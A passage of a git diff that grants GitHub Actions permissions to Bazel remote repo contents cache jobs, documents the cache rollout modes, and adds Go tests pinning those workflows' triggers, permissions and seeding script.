"$GITHUB_REPOSITORY" --color B60205 \ + --description "Remote repo contents cache verification failures" 2>/dev/null || true + n=$(gh issue list -R "$GITHUB_REPOSITORY" --label rrc-verify --state open --json number --jq '.[0].number // empty') + if [ -n "$n" ]; then + gh issue comment "$n" -R "$GITHUB_REPOSITORY" --body "Again: $RUN_URL" + else + gh issue create -R "$GITHUB_REPOSITORY" --label rrc-verify --title "$title" --body "$body" + fi diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 56f6a23e7..7bd190a2d 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -25,6 +25,18 @@ jobs: # engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md). bazel: name: Bazel (fresh, full detail) + # A called workflow's job gets at most this call's token permissions, and + # GitHub checks them when the run starts, even for a job whose if: skips + # it (startup_failure otherwise; gascity #7478): bazel.yml's rrc-seed asks + # id-token: write (push to main only) and rrc-verify issues: write + # (schedule and dispatch only). rrc-verify runs here (its alert issue); + # rrc-seed never does, every other bazel.yml job keeps contents: read, + # and rbe-west's mint refuses any OIDC token but a main-push bazel.yml one + # (scripts/bazel_rrc_test.go, TestBazelWorkflowCallersGrantEveryRequestedPermission). + permissions: + contents: read + id-token: write + issues: write uses: ./.github/workflows/bazel.yml secrets: RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 9483e2b36..22dc8c23e 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1347,8 +1347,18 @@ jobs: # build their own bd via this call's rbe job. bazel: name: Bazel + # A called workflow's job gets at most this call's token permissions, and + # GitHub checks them when the run starts, even for a job whose if: skips + # it (startup_failure otherwise; gascity #7478): bazel.yml's rrc-seed asks + # id-token: write (push to main only) and rrc-verify issues: write + # (schedule and dispatch only). Neither runs for this event, every other + # bazel.yml job keeps contents: read, and rbe-west's mint refuses any OIDC + # token but a main-push bazel.yml one + # (scripts/bazel_rrc_test.go, TestBazelWorkflowCallersGrantEveryRequestedPermission). permissions: contents: read + id-token: write + issues: write uses: ./.github/workflows/bazel.yml secrets: RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index c0c340b6d..ce91016b0 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -620,6 +620,38 @@ job's `if:` or rotating the key, in either of two ways: step's own kill switch, checked before any network call. Deleting the variable does not disable pre-warming; it restores the default of 1. +## Remote Repo Contents Cache + +A cold lane client re-runs its repository rules (gazelle's `go_deps`, the Go +SDK, the LLVM slice) before its first action. Bazel 9's remote repo contents +cache serves those extracted trees from rbe-west's `oss` action cache instead +(ported from gascity's `bazel.yml`; design: gascity +`engdocs/design/bazel-remote-repo-contents-cache.md`). The repository variable +`RBE_REPO_CONTENTS_CACHE` rolls it out, in mode `remote` only: + +| value | effect | +|---|---| +| unset / `off` | nothing (default) | +| `seed` | each push to main runs `bazel.yml`'s `rrc-seed` job: every lane's command in `.github/scripts/rrc-lane-commands.txt` with `--nobuild`, uploading repository trees with a 30-minute `rbe-rrc-writer-beads` certificate that rbe-west's mint signs only for that job (GitHub OIDC; `.github/scripts/rrc-writer-credential.sh`). rbe-west's `rrc-gate` admits only repo-contents entries from it | +| `canary` | `seed`, and the `test` lane reads the cache | +| `on` | `seed`, and every lane but the release cross-compile and the package gates reads it | + +Readers append `startup --experimental_remote_repo_contents_cache` and +`common --loading_phase_threads=64` to `.bazelrc.local` before setting up +Bazel; both are key neutral, and the lanes keep +`--noremote_upload_local_results`. While the variable is not `off`, +nightly.yml's call also runs `rrc-verify`: a cold fetch of every lane, +compared with the cached entries by `tools/bazel/rrc_verify.py`; a mismatch +fails the job and opens an `rrc-verify` issue. + +`rrc-seed` asks for `id-token: write` and `rrc-verify` for `issues: write`, so +every caller of `bazel.yml` (pr.yml, nightly.yml, bazel-farm.yml) grants both: +GitHub checks a called workflow's job permissions when the run starts, even +for jobs that skip. Neither job runs on a pull_request, merge_group or +pull_request_target event, and every other `bazel.yml` job keeps +`contents: read`. Rollback: set the variable to `off` (or `seed`, to keep the +cache warm without readers). + ## Required Check Contract After the aggregate checks are verified on the branch, branch protection or the diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index a91b79346..08cf03e48 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -41,6 +41,7 @@ go_test( "bazel_hermetic_cc_test.go", "bazel_policy_test.go", "bazel_rbe_prewarm_test.go", + "bazel_rrc_test.go", "ci_actions_policy_test.go", "ci_analytics_workflow_test.go", "ci_blacksmith_runner_test.go", diff --git a/scripts/bazel_cache_mode_test.go b/scripts/bazel_cache_mode_test.go index 7ee9e653e..8212d4efd 100644 --- a/scripts/bazel_cache_mode_test.go +++ b/scripts/bazel_cache_mode_test.go @@ -212,8 +212,8 @@ func TestBazelCacheModeReachesTheRC(t *testing.T) { var lanes []string for name, job := range workflow.Jobs { - if name == bazelRBEJobName { - continue + if name == bazelRBEJobName || isBazelRRCJob(name) { + continue // not lanes: never in a PR call (bazel_rrc_test.go) } runs := bazelLaneRunModes(t, name, job.If, s.with)[mode] switch { diff --git a/scripts/bazel_farm_workflow_test.go b/scripts/bazel_farm_workflow_test.go index 36a40b5b0..887130463 100644 --- a/scripts/bazel_farm_workflow_test.go +++ b/scripts/bazel_farm_workflow_test.go @@ -94,7 +94,8 @@ func TestBazelFarmWorkflowSecurity(t *testing.T) { } // Permissions: contents: read at the workflow and on every job, and - // nothing else anywhere in the file. + // nothing else anywhere in the file, but the farm call's grant of what + // bazel.yml's rrc jobs ask for (bazelCallPermissions). readOnly := map[string]any{"contents": "read"} if !reflect.DeepEqual(doc.Permissions, readOnly) { t.Errorf("workflow permissions = %v, want %v", doc.Permissions, readOnly) @@ -103,8 +104,12 @@ func TestBazelFarmWorkflowSecurity(t *testing.T) { var jobs []string for name, job := range workflow.Jobs { jobs = append(jobs, name) - if !reflect.DeepEqual(job.Permissions, readOnly) { - t.Errorf("job %s permissions = %v, want %v", name, job.Permissions, readOnly) + want := readOnly + if name == "farm" { + want = bazelCallPermissions + } + if !reflect.DeepEqual(job.Permissions, want) { + t.Errorf("job %s permissions = %v, want %v", name, job.Permissions, want) } if len(job.Env) != 0 { t.Errorf("job %s env = %v; want none", name, job.Env) @@ -116,7 +121,8 @@ func TestBazelFarmWorkflowSecurity(t *testing.T) { } secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) walkYAML(root, "", func(path string, key bool, value string) { - if strings.Contains(path, "permissions") && !key && value != "read" { + if strings.Contains(path, "permissions") && !key && value != "read" && + !(strings.HasPrefix(path, ".jobs.farm.permissions.") && bazelCallPermissions[strings.TrimPrefix(path, ".jobs.farm.permissions.")] == value) { t.Errorf("%s = %q; only read permissions are allowed", path, value) } if key && value == "continue-on-error" { @@ -227,6 +233,19 @@ func TestBazelFarmWorkflowSecurity(t *testing.T) { } } +// bazelCallPermissions: every bazel.yml call's token permissions (farm, +// pr.yml, nightly.yml). A called workflow's job gets at most its caller's, +// and GitHub checks them when the run starts, even for a job whose if: +// skips it, so each call grants what bazel.yml's rrc jobs ask for: +// rrc-seed's id-token: write (push to main only) and rrc-verify's issues: +// write (schedule and dispatch only). Neither runs on pull_request, +// merge_group or pull_request_target, and every other bazel.yml job, every +// lane that runs PR or fork code included, keeps contents: read +// (TestBazelWorkflowPermissionsReadOnly), so no PR-authored step ever holds +// either; rbe-west's mint refuses any OIDC token but a main-push bazel.yml +// one anyway. +var bazelCallPermissions = map[string]any{"contents": "read", "id-token": "write", "issues": "write"} + // bazel.yml's side of the farm: the pinned checkout, the one decision input, // and nothing a pull_request_target run could hand a privileged consumer. func TestBazelWorkflowForkFarmInputs(t *testing.T) { @@ -246,6 +265,15 @@ func TestBazelWorkflowForkFarmInputs(t *testing.T) { if actionFamily(step.Uses) != "actions/checkout" { continue } + // The rrc jobs run on push to main, schedule and dispatch only, + // never on pull_request_target: they check out the event's ref, + // with no fork opt-in. + if isBazelRRCJob(name) { + if want := map[string]string{"persist-credentials": "false"}; !reflect.DeepEqual(step.With, want) { + t.Errorf("%s job %s checkout with = %v, want %v", bazelWorkflowName, name, step.With, want) + } + continue + } checkouts++ want := map[string]string{"ref": bazelCheckoutRef, "persist-credentials": "false", "allow-unsafe-pr-checkout": bazelAllowUnsafeCheckout} // F3: package-mcp/package-npm's detect step diffs PR_BASE_SHA @@ -271,8 +299,8 @@ func TestBazelWorkflowForkFarmInputs(t *testing.T) { // shared gascity credential). rbe's checkout (sparse) comes after its // decide step, for the worker-env preflight // (TestBazelRBEWorkerEnvPreflight). - if checkouts != len(workflow.Jobs)-1 { - t.Errorf("%d checkouts in %s, want one per job excluding %s (%d)", checkouts, bazelWorkflowName, bazelRBEPrewarmJobName, len(workflow.Jobs)-1) + if want := len(workflow.Jobs) - 1 - len(bazelRRCJobs); checkouts != want { + t.Errorf("%d checkouts in %s, want one per job excluding %s and the rrc jobs (%d)", checkouts, bazelWorkflowName, bazelRBEPrewarmJobName, want) } if got := workflow.job(t, bazelRBEJobName).Steps[0].Env["FORK_FARM"]; got != bazelForkFarmValue { t.Errorf("rbe FORK_FARM = %q, want %q", got, bazelForkFarmValue) @@ -617,7 +645,11 @@ func TestBazelFarmCacheModeStaysReadOnly(t *testing.T) { } // bazel.yml's token: exactly contents: read, at the top and on any job that -// declares permissions (a call cannot exceed its caller's, but pin it). +// declares permissions (a call cannot exceed its caller's, but pin it), +// except the rrc jobs: rrc-seed's id-token: write and rrc-verify's issues: +// write (pinned by TestBazelRRCSeedJob and TestBazelRRCVerifyJob; neither +// runs on a pull_request, merge_group or pull_request_target event, so the +// callers' wider grants reach no lane and no fork-authored code). func TestBazelWorkflowPermissionsReadOnly(t *testing.T) { var doc struct { Permissions any `yaml:"permissions"` @@ -630,6 +662,9 @@ func TestBazelWorkflowPermissionsReadOnly(t *testing.T) { t.Errorf("%s permissions = %v, want exactly %v", bazelWorkflowName, doc.Permissions, readOnly) } for name, job := range readCIWorkflow(t, bazelWorkflowName).Jobs { + if isBazelRRCJob(name) { + continue + } if job.Permissions != nil && !reflect.DeepEqual(job.Permissions, readOnly) { t.Errorf("%s job %s permissions = %v, want none or exactly %v", bazelWorkflowName, name, job.Permissions, readOnly) } diff --git a/scripts/bazel_rrc_test.go b/scripts/bazel_rrc_test.go new file mode 100644 index 000000000..f423b7337 --- /dev/null +++ b/scripts/bazel_rrc_test.go @@ -0,0 +1,783 @@ +package scripts_test + +import ( + "crypto/sha256" + "encoding/hex" + "os" + "os/exec" + "path/filepath" + "reflect" + "regexp" + "slices" + "sort" + "strings" + "testing" + + "gopkg.in/yaml.v3" +) + +// Bazel's remote repo contents cache on rbe-west (ga-vnycm2.29, ported from +// gascity's bazel.yml, gascity #7467 and #7478). bazel.yml's rbe job turns +// vars.RBE_REPO_CONTENTS_CACHE into its rrc output (off, seed, canary, on); +// each reading lane's reader step appends bazelRRCReadLines to +// .bazelrc.local; the rrc-seed job, on push to main only, runs every lane's +// loading and analysis (.github/scripts/rrc-lane-commands.txt, through +// rrc-run-lanes.sh) and uploads repository trees with a 30-minute +// rbe-rrc-writer-beads certificate (rrc-writer-credential.sh); the +// rrc-verify job, nightly, compares the cache with a cold fetch +// (tools/bazel/rrc_verify.py). + +const ( + bazelRRCReadStep = "Remote repo contents cache (read)" + bazelRRCModeStepID = "rrc" + bazelRRCVar = "vars.RBE_REPO_CONTENTS_CACHE" + bazelRRCSeedJob = "rrc-seed" + bazelRRCSeedJobIf = "${{ github.event_name == 'push' && github.ref == 'refs/heads/main' && needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc != 'off' }}" + bazelRRCVerifyJob = "rrc-verify" + bazelRRCVerifyJobIf = "${{ (github.event_name == 'schedule' || github.event_name == 'workflow_dispatch') && needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc != 'off' }}" + bazelRRCCanaryLane = "bazel-test" + bazelRRCCredential = ".github/scripts/rrc-writer-credential.sh" + bazelRRCRunLanes = ".github/scripts/rrc-run-lanes.sh" + bazelRRCLaneCmds = ".github/scripts/rrc-lane-commands.txt" + bazelRRCVerifyTool = "tools/bazel/rrc_verify.py" + bazelRRCVerifyTest = "tools/bazel/rrc_verify_test.py" + bazelSetupBazelUses = "./.github/actions/setup-bazel" +) + +// bazelRRCReadLanes: the lanes that read the cache under `on` (bazel-test +// alone under `canary`). Not bazel-release-cross (other target platforms, +// not seeded) nor the package gates. +var bazelRRCReadLanes = []string{ + "bazel-cmd-dolt", "bazel-doltserver", "bazel-embedded", "bazel-integration", + "bazel-proxied", "bazel-pure", "bazel-server-storage", "bazel-test", +} + +// bazelRRCReadLines: the reader's .bazelrc.local lines; both are key neutral +// (a startup option, and loading parallelism). +var bazelRRCReadLines = []string{ + "startup --experimental_remote_repo_contents_cache", + "common --loading_phase_threads=64", +} + +// bazelRRCJobs: bazel.yml's jobs that are not lanes (no result output, never +// gated): the remote repo contents cache's writer and its nightly check. +var bazelRRCJobs = []string{bazelRRCSeedJob, bazelRRCVerifyJob} + +// isBazelRRCJob reports whether a bazel.yml job is one of bazelRRCJobs. +func isBazelRRCJob(name string) bool { return slices.Contains(bazelRRCJobs, name) } + +// evalRRCIf evaluates a job or step if: with ctx, failing the test on an +// expression the evaluator cannot read. +func evalRRCIf(t *testing.T, expr string, ctx map[string]string) bool { + t.Helper() + v, err := evalGHExpr(expr, ctx) + if err != nil { + t.Fatalf("evalGHExpr(%q): %v", expr, err) + } + return ghTruthy(v) +} + +// runRRCScript runs a step's script (or a script file) under GitHub's bash +// flags in dir with env, returning its combined output. +func runRRCScript(t *testing.T, dir, script string, env map[string]string) (string, error) { + t.Helper() + cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script) + cmd.Dir = dir + cmd.Env = []string{"PATH=" + os.Getenv("PATH"), "HOME=" + dir} + for k, v := range env { + cmd.Env = append(cmd.Env, k+"="+v) + } + out, err := cmd.CombinedOutput() + return string(out), err +} + +// rrcOutputs reads a $GITHUB_OUTPUT file (key=value lines). +func rrcOutputs(t *testing.T, path string) map[string]string { + t.Helper() + out := map[string]string{} + data, err := os.ReadFile(path) + if os.IsNotExist(err) { + return out + } + if err != nil { + t.Fatal(err) + } + for _, line := range strings.Split(strings.TrimSpace(string(data)), "\n") { + if k, v, ok := strings.Cut(line, "="); ok { + out[k] = v + } + } + return out +} + +func rrcStep(t *testing.T, job ciWorkflowJob, what string, pick func(ciWorkflowStep) bool) ciWorkflowStep { + t.Helper() + var found []ciWorkflowStep + for _, s := range job.Steps { + if pick(s) { + found = append(found, s) + } + } + if len(found) != 1 { + t.Fatalf("want one %s step, got %d", what, len(found)) + } + return found[0] +} + +// TestBazelRRCModeStep runs the rbe job's rrc step for every variable value +// and execution mode: only mode remote enables anything, unset and off are +// off, and an unknown value is off with a warning (a typo never fails the +// required gate). It reads no secret and runs before the checkout. +func TestBazelRRCModeStep(t *testing.T) { + rbe := readCIWorkflow(t, bazelWorkflowName).Jobs[bazelRBEJobName] + if got := rbe.Outputs["rrc"]; got != "${{ steps.rrc.outputs.rrc }}" { + t.Errorf("rbe job output rrc = %q", got) + } + step := rrcStep(t, rbe, "rrc", func(s ciWorkflowStep) bool { return s.ID == bazelRRCModeStepID }) + if want := map[string]string{"RRC": "${{ " + bazelRRCVar + " }}", "MODE": "${{ steps.decide.outputs.mode }}"}; !reflect.DeepEqual(step.Env, want) { + t.Errorf("rrc step env %v, want %v", step.Env, want) + } + if step.If != "" { + t.Errorf("rrc step if %q; it must always set the output", step.If) + } + for i, s := range rbe.Steps { + if s.Uses != "" { + t.Errorf("rbe step %d (%s) precedes nothing it should: the rrc step must come before any checkout", i, s.Uses) + } + if s.ID == bazelRRCModeStepID { + break + } + } + for _, mode := range []string{"remote", "fork-ro", "fork-rw", "cache", "local", "skip"} { + for value, want := range map[string]string{"": "off", "off": "off", "seed": "seed", "canary": "canary", "on": "on", "On": "off", "true": "off", "on;x": "off"} { + if mode != "remote" { + want = "off" + } + dir := t.TempDir() + output := filepath.Join(dir, "output") + out, err := runRRCScript(t, dir, step.Run, map[string]string{ + "RRC": value, "MODE": mode, "GITHUB_OUTPUT": output, "GITHUB_STEP_SUMMARY": filepath.Join(dir, "summary"), + }) + if err != nil { + t.Errorf("mode %s value %q: %v\n%s", mode, value, err, out) + continue + } + if got := rrcOutputs(t, output)["rrc"]; got != want { + t.Errorf("mode %s value %q: rrc=%q, want %q", mode, value, got, want) + } + unknown := !slices.Contains([]string{"", "off", "seed", "canary", "on"}, value) + if warned := strings.Contains(out, "::warning"); warned != unknown { + t.Errorf("mode %s value %q: warning %v, want %v:\n%s", mode, value, warned, unknown, out) + } + } + } +} + +// TestBazelRRCReadSteps: exactly bazelRRCReadLanes read, in mode remote only +// (fork and local runs never: only rbe-west's trusted edge serves the +// entries), bazel-test under canary and every one of them under on; each +// writes exactly bazelRRCReadLines, never mentions uploads, and comes before +// the job's Set up Bazel (so no Bazel server starts without it). +func TestBazelRRCReadSteps(t *testing.T) { + wf := readCIWorkflow(t, bazelWorkflowName) + var readers []string + for name, job := range wf.Jobs { + read, setup := -1, -1 + for i, s := range job.Steps { + switch { + case s.Name == bazelRRCReadStep: + if read >= 0 { + t.Errorf("%s has two %q steps", name, bazelRRCReadStep) + } + read = i + case s.Uses == bazelSetupBazelUses && setup < 0: + setup = i + } + } + if read < 0 { + continue + } + readers = append(readers, name) + if setup < 0 || read > setup { + t.Errorf("%s: %q at step %d, Set up Bazel at %d; the reader must come first", name, bazelRRCReadStep, read, setup) + } + step := job.Steps[read] + for _, mode := range []string{"remote", "fork-ro", "fork-rw", "cache", "local"} { + for _, rrc := range []string{"off", "seed", "canary", "on"} { + want := mode == "remote" && (rrc == "on" || (rrc == "canary" && name == bazelRRCCanaryLane)) + if got := evalRRCIf(t, step.If, map[string]string{"needs.rbe.outputs.mode": mode, "needs.rbe.outputs.rrc": rrc}); got != want { + t.Errorf("%s mode %s rrc %s: reader runs %v, want %v", name, mode, rrc, got, want) + } + } + } + dir := t.TempDir() + if out, err := runRRCScript(t, dir, step.Run, nil); err != nil { + t.Fatalf("%s reader: %v\n%s", name, err, out) + } + got := strings.Split(strings.TrimSpace(readPolicyFile(t, dir, ".bazelrc.local")), "\n") + if !slices.Equal(got, bazelRRCReadLines) { + t.Errorf("%s reader writes %q, want %q", name, got, bazelRRCReadLines) + } + if strings.Contains(step.Run, "upload") || len(step.Env) != 0 { + t.Errorf("%s reader mentions uploads or takes env; lanes only read", name) + } + } + sort.Strings(readers) + if !slices.Equal(readers, bazelRRCReadLanes) { + t.Errorf("lanes with a reader step %v, want %v", readers, bazelRRCReadLanes) + } +} + +// bazelRRCLaneCommands parses rrc-lane-commands.txt as rrc-run-lanes.sh does. +func bazelRRCLaneCommands(t *testing.T, root string) []string { + t.Helper() + var cmds []string + for _, line := range strings.Split(readPolicyFile(t, root, bazelRRCLaneCmds), "\n") { + line, _, _ = strings.Cut(line, "#") + if line = strings.TrimSpace(line); line != "" { + cmds = append(cmds, line) + } + } + return cmds +} + +// TestBazelRRCLaneCommandsCoverEveryReader: rrc-seed seeds (and rrc-verify +// checks) what the readers fetch, so every --config a reading lane passes to +// `bazel test` or `bazel build` has a command in rrc-lane-commands.txt, and +// every command there is a reading lane's. +func TestBazelRRCLaneCommandsCoverEveryReader(t *testing.T) { + root := sourceRepoRoot(t) + seeded := map[string]bool{} + for _, cmd := range bazelRRCLaneCommands(t, root) { + f := strings.Fields(cmd) + if f[0] != "test" && f[0] != "build" { + t.Errorf("lane command %q: want a test or build command", cmd) + } + for _, a := range f[1:] { + if c, ok := strings.CutPrefix(a, "--config="); ok { + seeded[c] = true + } + } + } + used := map[string]bool{} + invocation := regexp.MustCompile(`\bbazel (?:test|build)\b[^\n]*(?:\\\n[^\n]*)*`) + config := regexp.MustCompile(`--config=([a-z0-9-]+)`) + wf := readCIWorkflow(t, bazelWorkflowName) + for _, lane := range bazelRRCReadLanes { + for _, s := range wf.Jobs[lane].Steps { + for _, inv := range invocation.FindAllString(s.Run, -1) { + for _, m := range config.FindAllStringSubmatch(inv, -1) { + if m[1] != "sole-run" && m[1] != "fresh" { // test-result options, nothing fetched + used[m[1]] = true + } + } + } + } + } + if len(used) < len(bazelRRCReadLanes) { + t.Fatalf("found the configs %v in %d reading lanes; the scan is broken", used, len(bazelRRCReadLanes)) + } + for c := range used { + if !seeded[c] { + t.Errorf("a reading lane runs bazel with --config=%s, which %s does not seed", c, bazelRRCLaneCmds) + } + } + for c := range seeded { + if !used[c] { + t.Errorf("%s seeds --config=%s, which no reading lane uses", bazelRRCLaneCmds, c) + } + } +} + +// TestRRCRunLanes runs rrc-run-lanes.sh with a stub bazel: one --nobuild +// invocation per lane command, in order, startup flags first and command +// flags after; `test --nobuild`'s exit 1 after a successful analysis +// passes, a failed analysis fails, and an empty command list fails. +func TestRRCRunLanes(t *testing.T) { + root := sourceRepoRoot(t) + script := filepath.Join(root, bazelRRCRunLanes) + dir := t.TempDir() + bin := filepath.Join(dir, "bin") + if err := os.MkdirAll(bin, 0o755); err != nil { + t.Fatal(err) + } + calls := filepath.Join(dir, "calls") + stub := "#!/usr/bin/env bash\nprintf '%s\\n' \"$*\" >>" + calls + "\n" + + "if [ -n \"${BAZEL_TEST_FAIL:-}\" ]; then echo 'ERROR: no such package'; echo 'ERROR: Build did NOT complete successfully'; exit 1; fi\n" + + "case \"$*\" in *' build '*) echo 'INFO: Build completed successfully, 0 total actions'; exit 0 ;; esac\n" + + "echo 'INFO: Build completed successfully, 0 total actions'\necho \"ERROR: Couldn't start the build. Unable to run tests\"\nexit 1\n" + if err := os.WriteFile(filepath.Join(bin, "bazel"), []byte(stub), 0o755); err != nil { + t.Fatal(err) + } + env := map[string]string{ + "PATH": bin + string(os.PathListSeparator) + os.Getenv("PATH"), + "GITHUB_STEP_SUMMARY": filepath.Join(dir, "summary"), + } + run := "bash " + script + " --experimental_remote_repo_contents_cache -- --loading_phase_threads=64 --remote_upload_local_results" + if out, err := runRRCScript(t, dir, run, env); err != nil { + t.Fatalf("rrc-run-lanes.sh: %v\n%s", err, out) + } + var want []string + for _, cmd := range bazelRRCLaneCommands(t, root) { + want = append(want, "--experimental_remote_repo_contents_cache "+cmd+" --nobuild --loading_phase_threads=64 --remote_upload_local_results") + } + if got := strings.Split(strings.TrimSpace(readPolicyFile(t, dir, "calls")), "\n"); !slices.Equal(got, want) { + t.Errorf("bazel calls:\n%s\nwant:\n%s", strings.Join(got, "\n"), strings.Join(want, "\n")) + } + if err := os.Remove(calls); err != nil { + t.Fatal(err) + } + if out, err := runRRCScript(t, dir, "bash "+script+" --", env); err != nil { + t.Fatalf("without flags: %v\n%s", err, out) + } + if got := strings.Split(strings.TrimSpace(readPolicyFile(t, dir, "calls")), "\n"); len(got) == 0 || !strings.HasPrefix(got[0], "test ") || !strings.HasSuffix(got[0], " --nobuild") { + t.Errorf("without flags, first call %q", got) + } + + failEnv := map[string]string{"BAZEL_TEST_FAIL": "1"} + for k, v := range env { + failEnv[k] = v + } + if out, err := runRRCScript(t, dir, run, failEnv); err == nil { + t.Errorf("a failed analysis passed:\n%s", out) + } + empty := filepath.Join(dir, "empty.txt") + if err := os.WriteFile(empty, []byte("# nothing\n\n"), 0o644); err != nil { + t.Fatal(err) + } + emptyEnv := map[string]string{"RRC_LANE_COMMANDS": empty} + for k, v := range env { + emptyEnv[k] = v + } + if out, err := runRRCScript(t, dir, run, emptyEnv); err == nil { + t.Errorf("no lane commands passed; it must fail rather than seed nothing:\n%s", out) + } + if out, err := runRRCScript(t, dir, "bash "+script+" --flag", env); err == nil { + t.Errorf("no -- separator passed:\n%s", out) + } +} + +// TestBazelRRCSeedJob: the only writer runs on push to main in mode remote +// with rrc not off, holds the only id-token permission in bazel.yml, reads +// no secret (its credential is the OIDC-minted certificate), sets Bazel up +// in local mode, seeds only with a certificate, uploads to the cache alone +// (no executor), and always removes the key. +func TestBazelRRCSeedJob(t *testing.T) { + wf := readCIWorkflow(t, bazelWorkflowName) + job, ok := wf.Jobs[bazelRRCSeedJob] + if !ok { + t.Fatalf("%s has no %s job", bazelWorkflowName, bazelRRCSeedJob) + } + if job.If != bazelRRCSeedJobIf { + t.Errorf("%s if %q, want %q", bazelRRCSeedJob, job.If, bazelRRCSeedJobIf) + } + if !slices.Equal(job.Needs, []string{bazelRBEJobName}) || job.Outputs != nil { + t.Errorf("%s needs %v outputs %v; it needs the rbe job alone and reports nothing to the gate", bazelRRCSeedJob, job.Needs, job.Outputs) + } + for _, c := range []struct { + event, ref, mode, rrc string + want bool + }{ + {"push", "refs/heads/main", "remote", "seed", true}, + {"push", "refs/heads/main", "remote", "canary", true}, + {"push", "refs/heads/main", "remote", "on", true}, + {"push", "refs/heads/main", "remote", "off", false}, + {"push", "refs/heads/main", "cache", "on", false}, + {"push", "refs/heads/other", "remote", "on", false}, + {"pull_request", "refs/pull/1/merge", "remote", "on", false}, + {"pull_request_target", "refs/heads/main", "remote", "on", false}, + {"merge_group", "refs/heads/gh-readonly-queue/main/pr-1-abc", "remote", "on", false}, + {"workflow_dispatch", "refs/heads/main", "remote", "on", false}, + {"schedule", "refs/heads/main", "remote", "on", false}, + } { + got := evalRRCIf(t, job.If, map[string]string{ + "github.event_name": c.event, "github.ref": c.ref, "needs.rbe.outputs.mode": c.mode, "needs.rbe.outputs.rrc": c.rrc, + }) + if got != c.want { + t.Errorf("%+v: seed runs %v, want %v", c, got, c.want) + } + } + if want := map[string]any{"contents": "read", "id-token": "write"}; !reflect.DeepEqual(job.Permissions, want) { + t.Errorf("%s permissions %v, want %v", bazelRRCSeedJob, job.Permissions, want) + } + raw := readPolicyFile(t, sourceRepoRoot(t), ".github/workflows/"+bazelWorkflowName) + if text := bazelRRCJobText(t, raw, bazelRRCSeedJob); strings.Contains(text, "secrets.") { + t.Errorf("%s reads a secret; its only credential is the OIDC-minted writer certificate", bazelRRCSeedJob) + } + setup := rrcStep(t, job, "setup-bazel", func(s ciWorkflowStep) bool { return s.Uses == bazelSetupBazelUses }) + if len(setup.Env) != 0 { + t.Errorf("%s setup-bazel env %v; local mode (no executor, no certificate) only", bazelRRCSeedJob, setup.Env) + } + cred := rrcStep(t, job, "writer certificate", func(s ciWorkflowStep) bool { return s.ID == "writer" }) + if cred.Run != "bash "+bazelRRCCredential { + t.Errorf("writer step runs %q, want bash %s", cred.Run, bazelRRCCredential) + } + seed := rrcStep(t, job, "seed", func(s ciWorkflowStep) bool { return strings.Contains(s.Run, bazelRRCRunLanes) }) + if seed.If != "${{ steps.writer.outputs.cert != '' }}" { + t.Errorf("seed step if %q; it must skip when the mint switched seeding off (no certificate)", seed.If) + } + for _, want := range []string{ + "bash " + bazelRRCRunLanes + " --experimental_remote_repo_contents_cache --", "--loading_phase_threads=64", + `"--remote_cache=$ENDPOINT"`, `"--remote_instance_name=$INSTANCE"`, + `"--tls_client_certificate=$CERT"`, `"--tls_client_key=$KEY"`, "--remote_upload_local_results", + } { + if !strings.Contains(seed.Run, want) { + t.Errorf("seed step lacks %q:\n%s", want, seed.Run) + } + } + if strings.Contains(seed.Run, "remote_executor") { + t.Errorf("seed step names an executor; the writer certificate is cache only") + } + cleanup := rrcStep(t, job, "key removal", func(s ciWorkflowStep) bool { return strings.Contains(s.Run, "rrc-writer.key") }) + if cleanup.If != "${{ always() }}" { + t.Errorf("the writer key removal runs if %q; it must always run", cleanup.If) + } +} + +// bazelRRCJobText returns a job's raw text in a workflow. +func bazelRRCJobText(t *testing.T, raw, job string) string { + t.Helper() + start := strings.Index(raw, "\n "+job+":\n") + if start < 0 { + t.Fatalf("cannot find the %s job's text", job) + } + text := raw[start+1:] + if next := regexp.MustCompile(`\n [a-z0-9-]+:\n`).FindStringIndex(text); next != nil { + text = text[:next[0]] + } + return text +} + +// TestBazelRRCVerifyJob: the nightly check runs from nightly.yml (schedule) +// or a dispatch while the cache is in use, fetches every lane cold without +// the repo contents cache, compares with rrc_verify.py using the lanes' +// read-only certificate and setup-bazel's endpoint (no secret outside +// setup-bazel), and alerts through an issue only when the comparison fails. +func TestBazelRRCVerifyJob(t *testing.T) { + wf := readCIWorkflow(t, bazelWorkflowName) + job, ok := wf.Jobs[bazelRRCVerifyJob] + if !ok { + t.Fatalf("%s has no %s job", bazelWorkflowName, bazelRRCVerifyJob) + } + if job.If != bazelRRCVerifyJobIf { + t.Errorf("%s if %q, want %q", bazelRRCVerifyJob, job.If, bazelRRCVerifyJobIf) + } + if job.Outputs != nil { + t.Errorf("%s outputs %v; it reports nothing to the gate", bazelRRCVerifyJob, job.Outputs) + } + for _, c := range []struct { + event, mode, rrc string + want bool + }{ + {"schedule", "remote", "on", true}, + {"schedule", "remote", "seed", true}, + {"workflow_dispatch", "remote", "canary", true}, + {"schedule", "remote", "off", false}, + {"schedule", "cache", "on", false}, + {"push", "remote", "on", false}, + {"pull_request", "remote", "on", false}, + {"pull_request_target", "remote", "on", false}, + {"merge_group", "remote", "on", false}, + } { + got := evalRRCIf(t, job.If, map[string]string{ + "github.event_name": c.event, "needs.rbe.outputs.mode": c.mode, "needs.rbe.outputs.rrc": c.rrc, + }) + if got != c.want { + t.Errorf("%+v: verify runs %v, want %v", c, got, c.want) + } + } + if want := map[string]any{"contents": "read", "issues": "write"}; !reflect.DeepEqual(job.Permissions, want) { + t.Errorf("%s permissions %v, want %v", bazelRRCVerifyJob, job.Permissions, want) + } + for _, 